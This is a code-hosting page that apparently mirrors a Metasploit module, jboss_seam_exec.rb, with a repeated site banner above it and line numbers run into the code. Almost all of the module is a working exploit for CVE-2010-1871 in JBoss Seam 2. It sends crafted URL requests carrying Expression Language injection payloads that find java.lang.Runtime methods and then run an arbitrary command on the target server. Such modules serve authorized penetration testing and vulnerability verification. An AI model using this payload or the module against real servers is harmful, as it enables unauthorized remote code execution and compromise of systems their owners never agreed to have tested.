Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/http/jboss_seam_exec.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(10update_info(11info,12'Name' => 'JBoss Seam 2 Remote Command Execution',13'Description' => %q{14JBoss Seam 2 (jboss-seam2), as used in JBoss Enterprise Application Platform154.3.0 for Red Hat Linux, does not properly sanitize inputs for JBoss Expression16Language (EL) expressions, which allows remote attackers to execute arbitrary code17via a crafted URL. This modules also has been tested successfully against IBM18WebSphere 6.1 running on iSeries.1920NOTE: this is only a vulnerability when the Java Security Manager is not properly21configured.22},23'Author' => [24'guerrino di massa', # Metasploit module25'Cristiano Maruti <cmaruti[at]gmail.com>' # Support for IBM Websphere 6.126],27'License' => MSF_LICENSE,28'References' => [29[ 'CVE', '2010-1871' ],30[ 'OSVDB', '66881']31],32'DisclosureDate' => '2010-07-19'33)34)3536register_options(37[38Opt::RPORT(8080),39OptString.new('TARGETURI', [ true, 'Target URI', '/seam-booking/home.seam']),40OptString.new('CMD', [ true, 'The command to execute.'])41]42)43end4445def run46uri = normalize_uri(target_uri.to_s)47cmd_enc = ''48cmd_enc << Rex::Text.uri_encode(datastore['CMD'])4950flag_found_one = 25551flag_found_two = 2555253uri_part_1 = "?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()["54uri_part_2 = "].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()["55uri_part_3 = "].invoke(null),'"565725.times do |index|58req = uri + uri_part_1 + index.to_s + ']}'5960res = send_request_cgi(61{62'uri' => req,63'method' => 'GET'64}, 2065)6667if (res && res.headers['Location'] =~ (/java.lang.Runtime.exec%28java.lang.String%29/))68flag_found_one = index69print_status('Found right index at [' + index.to_s + '] - exec')70elsif (res && res.headers['Location'] =~ (/java.lang.Runtime\+java.lang.Runtime.getRuntime/))71print_status('Found right index at [' + index.to_s + '] - getRuntime')72flag_found_two = index73else74print_status('Index [' + index.to_s + ']')75end76end7778if (flag_found_one != 255 && flag_found_two != 255)79print_status('Target appears VULNERABLE!')80print_status('Sending remote command:' + datastore['CMD'])8182req = uri + uri_part_1 + flag_found_one.to_s + uri_part_2 + flag_found_two.to_s + uri_part_3 + cmd_enc + "')}"8384res = send_request_cgi(85{86'uri' => req,87'method' => 'GET'88}, 2089)9091if (res && res.headers['Location'] =~ (/pwned=java.lang.UNIXProcess/))92print_good('Exploited successfully')93else94print_error('Exploit failed')95end96else97print_error('Target appears not vulnerable!')98end99end100end101102103